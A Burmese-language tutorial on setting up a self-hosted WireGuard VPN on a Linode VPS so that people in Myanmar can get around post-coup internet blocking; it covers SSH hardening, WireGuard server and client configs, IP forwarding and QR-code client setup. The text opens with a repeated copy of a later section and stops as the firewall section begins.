နောက်တစ်ခုက… ကိုယ်က WireGuard server node ကို reboot လုပ်တိုင်း wireguard ကို system startup မှာ service တစ်ခုအနေနဲ့ autostart လုပ်ချင်တယ်ဆိုရင်တော့ အောက်ကအတိုင်း systemd ရဲ့ systemctl ကို အသုံးပြုလို့ရပါတယ်။

```
root@wg-srv-node:~# systemctl enable wg-quick@wg0.service
```

#### Wireguard အတွက် IP Forwarding လုပ်ပုံ

ကိုယ်က LAN မှာရှိတဲ့ device တွေကို remote access လုပ်ချင်ရင် ဒီအဆင့်က မလိုအပ်ပါဘူး။ ဒါမှမဟုတ်ပဲနဲ့ internet traffic ကိုပါ ကိုယ့် VPN server ကနေထွက်စေချင်ရင်တော့ အောက်ကအတိုင်း ip forwarding ကို ပြင်ပေးရပါလိမ့်မယ်။

```
root@wg-srv-node:~# nano /etc/sysctl.conf

#
# /etc/sysctl.conf - Configuration file for setting system variables
# See /etc/sysctl.d/ for additional system variables.
# See sysctl.conf (5) for information.
#

#kernel.domainname = example.com

# Uncomment the following to stop low-level messages on console
#kernel.printk = 3 4 1 3

##############################################################3
# Functions previously found in netbase
#

# Uncomment the next two lines to enable Spoof protection (reverse-path filter)
# Turn on Source Address Verification in all interfaces to
# prevent some spoofing attacks
#net.ipv4.conf.default.rp_filter=1
#net.ipv4.conf.all.rp_filter=1

# Uncomment the next line to enable TCP/IP SYN cookies
# See http://lwn.net/Articles/277146/
# Note: This may impact IPv6 TCP sessions too
#net.ipv4.tcp_syncookies=1

# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1

# Uncomment the next line to enable packet forwarding for IPv6
#  Enabling this option disables Stateless Address Autoconfiguration
#  based on Router Advertisements for this host
#net.ipv6.conf.all.forwarding=1


###################################################################
# Additional settings - these settings can improve the network
# security of the host and prevent against some network attacks
# including spoofing attacks and man in the middle attacks through
# redirection. Some network environments, however, require that these
# settings are disabled so review and enable them as needed.
#
# Do not accept ICMP redirects (prevent MITM attacks)
#net.ipv4.conf.all.accept_redirects = 0
#net.ipv6.conf.all.accept_redirects = 0
# _or_
# Accept ICMP redirects only for gateways listed in our default
# gateway list (enabled by default)
# net.ipv4.conf.all.secure_redirects = 1
#
# Do not send ICMP redirects (we are not a router)
#net.ipv4.conf.all.send_redirects = 0
#
# Do not accept IP source route packets (we are not a router)
#net.ipv4.conf.all.accept_source_route = 0
#net.ipv6.conf.all.accept_source_route = 0
#
# Log Martian Packets
#net.ipv4.conf.all.log_martians = 1
#

###################################################################
# Magic system request Key
# 0=disable, 1=enable all, >1 bitmask of sysrq functions
# See https://www.kernel.org/doc/html/latest/admin-guide/sysrq.html
# for what other values do
#kernel.sysrq=438
```

Line 30 မှာရှိတဲ့ net.ipv4.ip\_forward=1 ဆိုတဲ့တခုကို uncomment လုပ်ပေးပြီးတော့ 1 လို့ ပြောင်းပေးလိုက်ပါ။

ဒီလောက်ဆိုရင်တော့ WireGuard ကို setup လုပ်ပုံအတွက် လုံလောက်ပြီလို့ စာရေးသူထင်ပါတယ်။ WireGuard မှာ ဒီထက်ပိုပြီးတော့ လုပ်လို့ရတဲ့ဟာ အများကြီးကျန်ပါသေးတယ်။ အကုန်လိုက်ရှင်းရင် အရမ်းရှည်သွားမှာပါ။ အဲဒီတော့… ဒီ post ကို ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။


# Linode VPS မှာကိုယ်ပိုင် Wireguard VPN server တစ်ခုတည်ဆောက်ပုံ

အခုလိုမျိုး Facebook ကို block လိုက် ဟိုဟာကို block လိုက် ဒီဟာကို block လုပ်လိုက်နဲ့ လုပ်နေတဲ့ မြန်မာနိုင်ငံရဲ့ အရေးပေါ်အခြေအနေမျိုးမှာ အသုံးတည့်တဲ့ Wireguard ကို Linode ရဲ့ VPS တစ်ခုမှာ ဘယ်လိုမျိုးကိုယ်တိုင် setup လုပ်ပြီးတော့ ကိုယ့်အသိုင်းအဝိုင်း နဲ့ ရင်းနှီးတဲ့ မိတ်ဆွေအလွယ် သုံးနိုင်အောင် ဘယ်လို setup လုပ်နိုင်သလဲဆိုတာကို မျှဝေလိုပါတယ်။ စာရေးသူ ကိုယ်တိုင်လည်း Singapore မှာ VPS တစ်လုံးကိုယ်တိုင် ထောင်ထားပြီးတော့ အမျိုးတွေနဲ့ အသိမိတ်ဆွေတွေကို ပြန်လည်မျှဝေ သုံးစေခြင်းဖြင့် free VPN ဆိုတဲ့ ရန်ကနေကင်းဝေးအောင် ကူညီနိုင်ပါတယ်။ Free VPN တွေရဲ့ nature အရ free ဖြစ်တဲ့အတွက် တစ်ခုခုကနေ revenue ရမှ ရပ်တည်နိုင်မယ့် သဘောပါ။ Browsing history တွေ log လုပ်တာပဲဖြစ်ဖြစ်၊ အခြားသော ငွေရှာနိုင်မည့် နည်းလမ်းတွေကို တနည်းမဟုတ် တနည်းနဲ့ လုပ်ရစမြဲမို့ လုံခြုံရေး အပိုင်းမှာ အပြည့်အဝစိတ်ချရတာမျိုး မရှိတာတော့ အမှန်ပါ။ အခုလိုမျိုး မြန်မာနိုင်ငံမှာ စစ်တပ်က အာဏာသိမ်းပြီးတော့ ဗရုတ်သုတ်ခ တွေတစ်ခုပြီးတစ်ခု လျှောက်လုပ်နေတော့ မြန်မာပြည်သူတွေမှာလည်း ရရာ free VPN တွေကို အသုံးပြုရပါတော့တယ်။ နောက်တစ်ခုက free VPN တွေဟာ သုံးတဲ့ လူတွေများလာတာနဲ့ အမျှ သတ်မှတ်ထားတဲ့ bandwidth တွင်းမှာ traffic တွေဟာ အပြိုင်အဆိုင် contend လုပ်တဲ့အခါတိုင်း အားလုံးအတွက် နှေးလာပါတော့တယ်။ ကိုယ်ပိုင် VPN server ရှိခြင်းဖြင့် ရနိုင်တဲ့ အကျိုးကျေးဇူးကတော့ ကိုယ်နိုင်သလောက် လူဦးရေအတွက်ကိုသာ VPN connection လာချိတ်တဲ့အတွက် free VPN ထက်မြန်မယ်၊ လုံခြုံစိတ်ချရပါ့မယ်။ နောက်ပြီးတော့ သိပြီးကြတဲ့အတိုင်း Wireguard ဟာ lightweight ဖြစ်တဲ့အတွက် အခြားသော VPN server တွေနဲ့ မတူတာက resource intensive မဖြစ်ပါဘူး။

ဟုတ်ပြီ... အကုန်အကျဘယ်လောက်ရှိသလဲဆိုတော့ Linode ကို အကောင့် အသစ်စစဖွင့်ချင်း $100 ဖိုးစာကို ရက် ၆၀အတွက် free ရပါလိမ့်မယ်။ စာရေးသူ ကြိုက်နှစ်သက်ဆုံး Jupiter Broadcast ရဲ့ Linux Action News ကနေပြီးတော့ပေးထားတဲ့ ဒီ link လေး <https://www.linode.com/lp/podcasts/?ifso=lan> အသုံးပြုပြီး အကောင့်အသစ်ဖွင့် claim လိုက်ရုံပါပဲ။ တစ်ခုတော့ ရှိတယ် သုံးလို့ရတဲ့ credit card/debit card တော့လိုပါလိမ့်မယ်။ ဒီ link ကို အသုံးပြုချင်းအားဖြင့်လည်း Linux Action News podcast ကို အထောက်အကူ ပြုရာလည်းဖြစ်ပါတယ်။ $100 ဖိုးဆိုတာ Linode မှာအများကြီး သုံးရပါတယ်။ AWS မှာလိုမျိုး pricing structure မရှုပ်ထွေးတဲ့ အတွက် ရိုးရှင်းပါတယ်။ အခြေခံအကျဆုံး $5 VPS တစ်ခုကို Singapore မှာ setup လုပ်တဲ့ပုံစံကို ပြပါ့မယ်။ ပြီးတော့ အဲ့ဒီ VPS ပေါ်မှာ Wireguard ကို install လုပ်ပုံနဲ့ setup လုပ်ပုံကို ပြပါ့မယ်။ $5 တန် VPS ကို အသုံးပြုတဲ့အတွက် VPN user ၁၀ ယောက်ကနေ အယောက် ၃၀ လောက် ထိအတွက်သာကောင်းပါလိမ့်မယ်။ ဒီထက်များမယ်ဆိုရင်တော့... အခြားသော VPS သို့မဟုတ် dedicated VPS လိုမျိုးတွေကို အသုံးပြုရပါလိမ့်မယ်။ စာရေးသူ စမ်းကြည့်သလောက်တော့ Singapore မှာ VPS ကို ထားတာ အခြားသော Asia zone မှာရှိတဲ့ အခြားသော region တွေထက် ကောင်းသော VPN performance ကိုရပါတယ်။ မြန်မာနိုင်ငံနဲ့ အနီးဆုံးဖြစ်တဲ့အပြင် marine fibre backbone ကို ကြည့်လိုက်ရင်ဖြင့် တိုက်ရိုက်ဆက်သွယ်ထားတဲ့ fibre backbone မှာ bandwidth အများဆုံးနိုင်ငံလည်း ဖြစ်ပါတယ်။ ဒီအတွက် Singapore ကို strategically အရ ရွေးချယ်ခဲ့တာလည်းဖြစ်ပါတယ်။ ကဲ... internet ရတုန်းလေး စလိုက်ရအောင်ဗျာ။

### Linode ပေါ်မှာ VPS တစ်ခု ဖန်တီးပုံ

Cloud မှာ VPS တစ်ခုကို ဖန်တီးတဲ့အခါ မှာတစ်ခုနဲ့ တစ်ခု ခပ်ဆင်ဆင်တူကြပါတယ်။ ဒီတစ်ခုမှာတော့ basic VPS တစ်ခုကို ဘယ်လိုမျိုး တည်ဆောက်သလဲဆိုတာ အောက်မှာ gif ပုံထဲမှာ ကြည့်လိုက်ပါ။ အချိန်နည်းနည်း သက်သာအောင်လို့ ပုံတစ်ခုချင်းစီမသွားတော့ပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-0ac0cd9da91a72970b266aef875539dcd41f0f93%2Fwg-srv-linode.gif?alt=media" alt=""><figcaption></figcaption></figure>

အထက်မှာပြထားတဲ့ အတိုင်း Linode ပေါ်မှာ VPS တစ်ခုကို ဖန်တီးဖို့ရာ အတွက်က မခက်ပါဘူး။ ကိုယ်သုံးမယ် Linux distribution ကိုရွေးမယ်၊ Region ကိုရွေးမယ် VPS ရဲ့ အရွယ်အစား၊ နာမည် နဲ့ login လုပ်ဖို့ လိုအပ်တဲ့ root ရဲ့ password နဲ့ key authentication အတွက် ကိုယ့်ရဲ့ ssh key တွေကိုထည့်ပေးလိုက် ပြီးတော့ create လုပ်လိုက်ရုံပါပဲ။ ပြီးရင် ကိုယ်ရဲ့ VPS ကို provisioning၊ booting နဲ့ running ဆိုပြီးတော့ တစ်ခုချင်းစီပြပါလိမ့်မယ်။ သူချပေးလိုက် public IP address ကို မှတ်ထားလိုက်ပြီးတော့ အခုဆိုရင် server ထဲကို root account နဲ့ အောက်ကအတိုင်း ssh login ဝင်လို့ရပါပြီ။

![](https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c66c7a3a5679d205dc8f034598c4f8364c6a542e%2Fwg-srv-key-auth.gif?alt=media)

စာရေးသူ ရဲ့ ssh key ကို ဒီ VPS ကို create လုပ်တုန်းက tick လုပ်ပြီးထည့်ထားတဲ့အတွက် root ရဲ့ password ကို login လုပ်တဲ့အခါမှာ မမေးပါဘူး။ Cloud မှာ အခုလိုမျိုး VPS တစ်ခုလုပ်တဲ့အခါမှာ ကိုယ့် VPS လုံခြုံရေးအတွက် ssh configuration မှာ လိုအပ်တဲ့ ပြင်စရာလေးတွေ အချို့ရှိနေပါတယ်။ ပထမတစ်ခုက အထက်မှာလိုမျိုး root account ကို production မှာ remote login မပေးထားသင့်ပါဘူး။ ကိုယ့်ရဲ့ ကိုယ်ပိုင် account ကို VPS ထဲ ဝင်ပြီးတာနဲ့ ချက်ချင်း create လုပ်သင့်ပါတယ်။ ပြီးရင်အဲ့ဒီ account ကို sudo ဆိုတဲ့ group ထဲမှာထည့်ပေးလိုက်ရုံဖြင့် ကိုယ့် account က sudoer ဖြစ်သွားပါတယ်။

![](https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-76053a473e5b4a3616748135e6e397a36c5b1e26%2Fcreate-user.gif?alt=media\&token=ed47bc27-5f5f-4a2e-aa62-2af26fe5ee7c)

ကိုယ့် account နဲ့ VPS ထဲကို ssh ဝင်လို့ ရမရ အရင်စမ်း ကြည့်ပါ။ ဝင်လို့ရပြီဆိုတာနဲ့ ကိုယ် ssh ပတ်သတ်တဲ့ remote login လုံခြုံရေးအတွက် စတင်လုပ်စရာရှိတာတွေကို လုပ်လို့ ရနိုင်ပါပြီ။ အောက်ကအတိုင်း တဆင့်ပြီးတော့ တဆင့်လုပ်သွားလိုက်ပါ။

```bash
root@wg-srv:~# nano /etc/ssh/sshd_config

       $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin no
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile     .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem       sftp    /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server

root@wg-srv:~# su - tyla
tyla@wg-srv:~$ mkdir .ssh
tyla@wg-srv:~$ logout
root@wg-srv:~# cp .ssh/authorized_keys /home/tyla/.ssh/authorized_keys
root@wg-srv:~# cd /home/tyla/.ssh
root@wg-srv:/home/tyla/.ssh# chown tyla:tyla authorized_keys 
root@wg-srv:/home/tyla/.ssh# ll
total 12
drwxrwxr-x 2 tyla tyla 4096 Feb  7 21:40 ./
drwxr-xr-x 4 tyla tyla 4096 Feb  7 21:40 ../
-rw------- 1 tyla tyla  389 Feb  7 21:40 authorized_keys

root@wg-srv:/home/tyla/.ssh# systemctl restart sshd
root@wg-srv:/home/tyla/.ssh# systemctl status sshd
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2021-02-07 21:53:32 UTC; 7s ago
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 2001 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 2013 (sshd)
      Tasks: 1 (limit: 1074)
     Memory: 1.4M
     CGroup: /system.slice/ssh.service
             └─2013 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Feb 07 21:53:31 wg-srv systemd[1]: Starting OpenBSD Secure Shell server...
Feb 07 21:53:32 wg-srv sshd[2013]: Server listening on 0.0.0.0 port 22.
Feb 07 21:53:32 wg-srv sshd[2013]: Server listening on :: port 22.
Feb 07 21:53:32 wg-srv systemd[1]: Started OpenBSD Secure Shell server.
Feb 07 21:53:37 wg-srv sshd[2014]: Unable to negotiate with 167.99.41.124 port 45520: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diff>
lines 1-17/17 (END)
```

အထက်က အဆင့်မှာတော့ /etc/ssh/sshd\_config ဆိုတဲ့ ssh daemon configuration file ကို nano နဲ့ဖြစ်ဖြစ်၊ vim နဲ့ ဖြစ်ဖြစ် edit လုပ်ရပါလိမ့်မယ်။ line number 36 မှာ PermitRootLogin yes ဆိုတဲ့ နေရာမှာ no လို့ပြောင်းပေးပါ။ ဒီတစ်ခုကတော့ root account နဲ့ ssh remote login ပေးမလုပ်ဘူးလို့ sshd ကို ပြောလိုက်တာပါ။ ပြီးရင် line number 60 မှာ PasswordAuthentication yes ကို no လို့ထပ်ပြောင်း ပေးရပါ့မယ်။ ဒါကတော့ password နဲ့ ssh remote login ပေးမလုပ်တော့ဘူးလို့ သတ်မှတ်ပေးလိုက်ပါ။ ဒီအတွက် ကိုယ့်ရဲ့ ssh key ကို root user account ကနေပြီးတော့ ကိုယ့် user အသစ်ရဲ့ /home/tyla/.ssh အောက်မှာ cp နဲ့ copy ကူးယူပြီးတော့ chown နဲ့ ကိုယ်ပိုင် ဖြစ်အောင်ပြောင်းပေးရပါ့မယ်။ ဒီအဆင့်က အရေးကြီးပါတယ်။ ဒီလိုလုပ်ပြီးတဲ့ အခါမှ systemctl restart sshd နဲ့ ssh daemon ကို restart ချပေးလိုက်ပါ။ အခုဆိုရင်တော့... ကိုယ့် account နဲ့ ssh authentication လုပ်ဖို့ အဆင့်သင့်ဖြစ်ပါပြီ။ SSH login လုပ်လို့ ရမရ အရင်ဆုံး စမ်းကြည့်ပါ။ အားလုံး အဆင်ပြေရင်တော့ Wireguard ကို စတင်ပြီးတော့ install လုပ်နိုင်၊ configure လုပ်နိုင်ပါပြီ။

### Wireguard ကို VPS ပေါ်မှာ VPN Server အနေနဲ့ configure လုပ်ပုံ

Wireguard ကိုအောက်က အတိုင်း install လုပ်လိုက်ပါ။

```
$ sudo apt-get install wireguard -y
```

SSH login နဲ့ ပတ်သတ်ပြီးတော့ အားလုံး အဆင်သင့်ဖြစ်ရင် Wireguard server ပုံစံကို ကိုယ့် VPS ပေါ်မှာ အောက်မှာပြထားတဲ့အတိုင်း configure လုပ်ပြီးတော့ ပြင်ဆင်လိုက်ပါ။ ဒီ link မှာလည်း <https://my.itmatic101.com/networking/wireguard-intro> Wireguard ကို configure လုပ်တဲ့ပုံကို အနည်းငယ်ရှင်းပြီးသားမို့ ဒီမှာတော့ အတိုချုပ်ပြီးတော့ ပဲရှင်းပါတော့မယ်။

```
tyla@wg-srv:~$ sudo -i
[sudo] password for tyla:  [Enter your sudoer password]
# Generating public and private keys under /etc/wireguard directory
root@wg-srv:~# cd /etc/wireguard/
root@wg-srv:~# wg genkey | tee privatekey | wg pubkey > publickey
# Creating wg0.conf file for WireGuard configuration
root@wg-srv:~# vi wg0.conf
# this section is for local wg0 interface
[Interface]
# local wg0 interface IP address
Address = 10.1.10.1
# local wg server node's private key
PrivateKey = cC6caA87hRNhOYYLFRawzWCOxMHEzzxJCJKibDasPng=
# default wg listen port
ListenPort = 51820
# wg0 up post action on iptabes to activate redirecting all traffic 
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE
# wg0 down post action on iptabes to deactivate redirecting all traffic 
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o ens3 -j MASQUERADE
# this section is for remote peer wg0 interface 
[Peer]
# remote peer's wg public key
PublicKey = LEQj4f1sNfrF7c+7tjTFBQ8GJjL8gog+ozj4QFgYcn8=
# remote peer's wg0 interface ip address
AllowedIPs = 10.1.10.2/32
# activate the wireguard wg0 interface 
root@wg-srv:~# wg-quick up wg0
```

### Wireguard ကို client ဘက်မှာ configure လုပ်ပုံ

Wireguard ရဲ့ server ဘက်မှာ ပြင်ဆင်ပြီးရင် ကိုယ်သုံးမယ့် Wireguard client ဘက်မှာလည်း အောက်ကအတိုင်းဆက်လက် configure လုပ်လိုက်ပါ။ Client တစ်ခု ထပ်ပေါင်းထည့်ဖို့လိုတိုင်း အောက်ကအတိုင်း လုပ်ပြီးတော့ server ဘက်အခြမ်းမှာ နောက်ထပ်တိုးထည့်တဲ့ \[Peer] တစ်ခုအနေနဲ့ သွားထည့်ပေးလိုက်ရုံပါပဲ။

```
tyla@wg-cl-node:~$ sudo -i
[sudo] password for tyla:  [Enter your sudoer password]
# Generating public and private keys under /etc/wireguard directory
root@wg-cl-node:~# cd /etc/wireguard/
root@wg-cl-node:~# wg genkey | tee privatekey | wg pubkey > publickey
# Creating wg0.conf file for WireGuard configuration
root@wg-cl-node:~# vi wg0.conf
# this section is for local wg0 interface
[Interface]
# local wg0 interface ip address
Address = 10.1.10.2
# local wg client node's private key
PrivateKey = aCKXChbpzlvJtdOpnYLmc/fEGH+5W7Tx/ZveSqczYVA=
# this section is for wireguard server node's wg0 interface 
[Peer]
# wireguard server node's public key
PublicKey = X8pnECl9ha2CX0JI7GsI1ygjRF4Mu1e+Lyira3EE4j0=
# wireguard server node's public ip address with port number 51820
Endpoint = 156.215.24.12:51820
# all traffic redirect thru wireguard server node 
AllowedIPs = 0.0.0.0/0
# every 25 seconds to check the wg connection status for persistence 
PersistentKeepalive = 25
# activate the wireguard wg0 interface 
root@wg-cl-node:~# wg-quick up wg0
```

အခုဆိုရင်... Wireguard ရဲ့ server ဘက်မှာရော client ဘက်ခြမ်းအတွက်ပါ အဆင်သင့်ဖြစ်ပါပြီ။ Wireguard ဟာ public/private keys တွေနဲ့ authenticate လုပ်တာမို့ ဘာမှထပ်ပြီးတော့ အခြားသော VPN service တွေမှာလို ထပ်ပြီးတော့ configure လုပ်စရာမရှိပါ။ သူ့ရဲ့ configuration ကဒါပါပဲ။ ကိုယ်လုပ်တာအကုန်မှန်တယ်ဆိုရင်တော့ wg ဆိုတဲ့ command ကို prompt မှာရိုက်ထည့်လိုက်ရင် တဘက်တချက်စီမှာ ကိုယ့်ရဲ့ peer နဲ့ဆိုင်တဲ့ အချက်အလက်တွေကို တွေ့ရမှာပဲဖြစ်ပါတယ်။ နောက်ပြီး wg server နဲ့ client node ကြားမှာ 10.1.10.0 ip ကို ping ကြည့်လို့ရတယ်ဆိုရင် wireguard ရဲ့ connection က စတင် အလုပ်လုပ်ပါပြီ။ WireGuard client node ဘက်မှာ AllowedIPs ကို ကိုယ် route ချင်တဲ့ ip address သို့မဟုတ် subnet ကိုလည်း အောက်မှာလို comma နဲ့ ထက်ပြီးတော့ ပေါင်းထည့်လို့ရပါတယ်။

```
AllowedIPs = 10.1.10.1/32, 192.168.0.0/24 
```

အထက်ကအတိုင်း ထည့်လိုက်ရင်တော့ wg server ရဲ့ IP address နဲ့၊ peer မှာရှိတဲ့ 192.168.0.0/24 ဆိုတဲ့ subnet နဲ့ကိုတာ WireGuard ရဲ့ tunnel ထဲမှာ route လုပ်မယ်လို့ပြောတာဖြစ်ပါတယ်။

ဒီ setup မှာက client device မှာရှိသမျှ traffic အကုန်လုံးကို Wiregurad VPN tunnel ထဲကနေ သွားစေချင်တာဖြစ်တဲ့အတွက် အောက်မှာပြထားတဲ့အတိုင်း AllowedIPs ကို 0.0.0.0/0 ဆိုပြီးတော့ configure လုပ်ပေးရပါ့မယ်။

```
AllowedIPs = 0.0.0.0/0
```

နောက်တစ်ခုက… ကိုယ်က WireGuard server node ကို reboot လုပ်တိုင်း wireguard ကို system startup မှာ service တစ်ခုအနေနဲ့ autostart လုပ်ချင်တယ်ဆိုရင်တော့ အောက်ကအတိုင်း systemd ရဲ့ systemctl ကို အသုံးပြုလို့ရပါတယ်။ Wireguard daemon ကို မသုံးလို့ ရပ်ထားချင်ရင် systemctl stop <wg-quick@wg0.service> နဲ့ restart လုပ်ချင်ရင် systemctl restart <wg-quick@wg0.service> ဆိုတာတွေကို အသုံးပြုပြီးတော့ daemon ကို systemd ရဲ့ systemctl နဲ့ ထိန်းလို့ရပါတယ်။ တစ်ခုတော့ရှိတယ်.... အပေါ်မှာ သုံးပြထားတဲ့ command တွေထဲမှာ wg-quick up wg0 ဆိုတာအတွက် wg-quick down wg0 ဆိုတဲ့ command ကိုအရင်ဆုံး အသုံးပြုပြီးတော့မှ systemctl command ကိုသုံးပါ။

```
root@wg-srv-node:~# systemctl enable wg-quick@wg0.service
```

### Wireguard အတွက် IP Forwarding လုပ်ပုံ

ကိုယ်က LAN မှာရှိတဲ့ device တွေကို remote access လုပ်ချင်ရင် ဒီအဆင့်က မလိုအပ်ပါဘူး။ ဒါမှမဟုတ်ပဲနဲ့ internet traffic ကိုပါ ကိုယ့် VPN server ကနေထွက်စေချင်ရင်တော့ အောက်ကအတိုင်း ip forwarding ကို ပြင်ပေးရပါလိမ့်မယ်။

```
root@wg-srv-node:~# nano /etc/sysctl.conf

#
# /etc/sysctl.conf - Configuration file for setting system variables
# See /etc/sysctl.d/ for additional system variables.
# See sysctl.conf (5) for information.
#

#kernel.domainname = example.com

# Uncomment the following to stop low-level messages on console
#kernel.printk = 3 4 1 3

##############################################################3
# Functions previously found in netbase
#

# Uncomment the next two lines to enable Spoof protection (reverse-path filter)
# Turn on Source Address Verification in all interfaces to
# prevent some spoofing attacks
#net.ipv4.conf.default.rp_filter=1
#net.ipv4.conf.all.rp_filter=1

# Uncomment the next line to enable TCP/IP SYN cookies
# See http://lwn.net/Articles/277146/
# Note: This may impact IPv6 TCP sessions too
#net.ipv4.tcp_syncookies=1

# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1

# Uncomment the next line to enable packet forwarding for IPv6
#  Enabling this option disables Stateless Address Autoconfiguration
#  based on Router Advertisements for this host
#net.ipv6.conf.all.forwarding=1


###################################################################
# Additional settings - these settings can improve the network
# security of the host and prevent against some network attacks
# including spoofing attacks and man in the middle attacks through
# redirection. Some network environments, however, require that these
# settings are disabled so review and enable them as needed.
#
# Do not accept ICMP redirects (prevent MITM attacks)
#net.ipv4.conf.all.accept_redirects = 0
#net.ipv6.conf.all.accept_redirects = 0
# _or_
# Accept ICMP redirects only for gateways listed in our default
# gateway list (enabled by default)
# net.ipv4.conf.all.secure_redirects = 1
#
# Do not send ICMP redirects (we are not a router)
#net.ipv4.conf.all.send_redirects = 0
#
# Do not accept IP source route packets (we are not a router)
#net.ipv4.conf.all.accept_source_route = 0
#net.ipv6.conf.all.accept_source_route = 0
#
# Log Martian Packets
#net.ipv4.conf.all.log_martians = 1
#

###################################################################
# Magic system request Key
# 0=disable, 1=enable all, >1 bitmask of sysrq functions
# See https://www.kernel.org/doc/html/latest/admin-guide/sysrq.html
# for what other values do
#kernel.sysrq=438
```

Line 30 မှာရှိတဲ့ net.ipv4.ip\_forward=1 ဆိုတဲ့တခုကို uncomment လုပ်ပေးပြီးတော့ 1 လို့ ပြောင်းပေးလိုက်ပါ။

ကိုယ်က mobile phone မှာ Wireguard app ကို အသုံးပြုတဲအခါမှာ client side ဘက်က configuration တွေကိုကူးယူပြီးတော့ ထည့်ရတာ တော်တော်လေးလက်ဝင်ပါတယ်။ အထူးသဖြင့် public/private keys တွေကိုတစ်ခုချင်းစီရိုက်ထည့်ရတာ မလွယ်ပါဘူး။ အဲ့ဒီအတွက် ကိုယ်ရဲ့ Wireguard client configuration ကို QR Code အနေနဲ့ ပြောင်းပြီးတော့ mobile phone camera နဲ့ scan ဖတ်ပြီးတော့ configure လုပ်ရတာ ပိုပြီးတော့ အဆင်ပြေပါတယ်။ အောက်ကအတိုင်း လိုက်ပြီးတော့ install လုပ်၊ QR code ကို issue လုပ်လို့ ရပါတယ်။

```
root@wg-cl-node:~# apt install qrencode
root@wg-cl-node:~# qrencode  -t ansiutf8 < tyla.conf
```

### Ubuntu မှာ UFW firewall ကို အသုံးပြုပြီးတော့ Wireguard အတွက် port ဖွင့်ပေးပုံ

ကိုယ့်ရဲ့ VPS ဟာ public internet မှာ public IP address နဲ့ expose ဖြစ်မှာမို့ Ubuntu ရဲ့ ufw Firewall ကို အသုံးပြုပြီးတော့ port တွေကို limit လုပ်ရပါလိမ့်မယ်။ ဘယ်လို လုပ်လို့ရသလဲဆိုတာကို အောက်မှာ တချက်ကြည့်လိုက်ရအောင်။

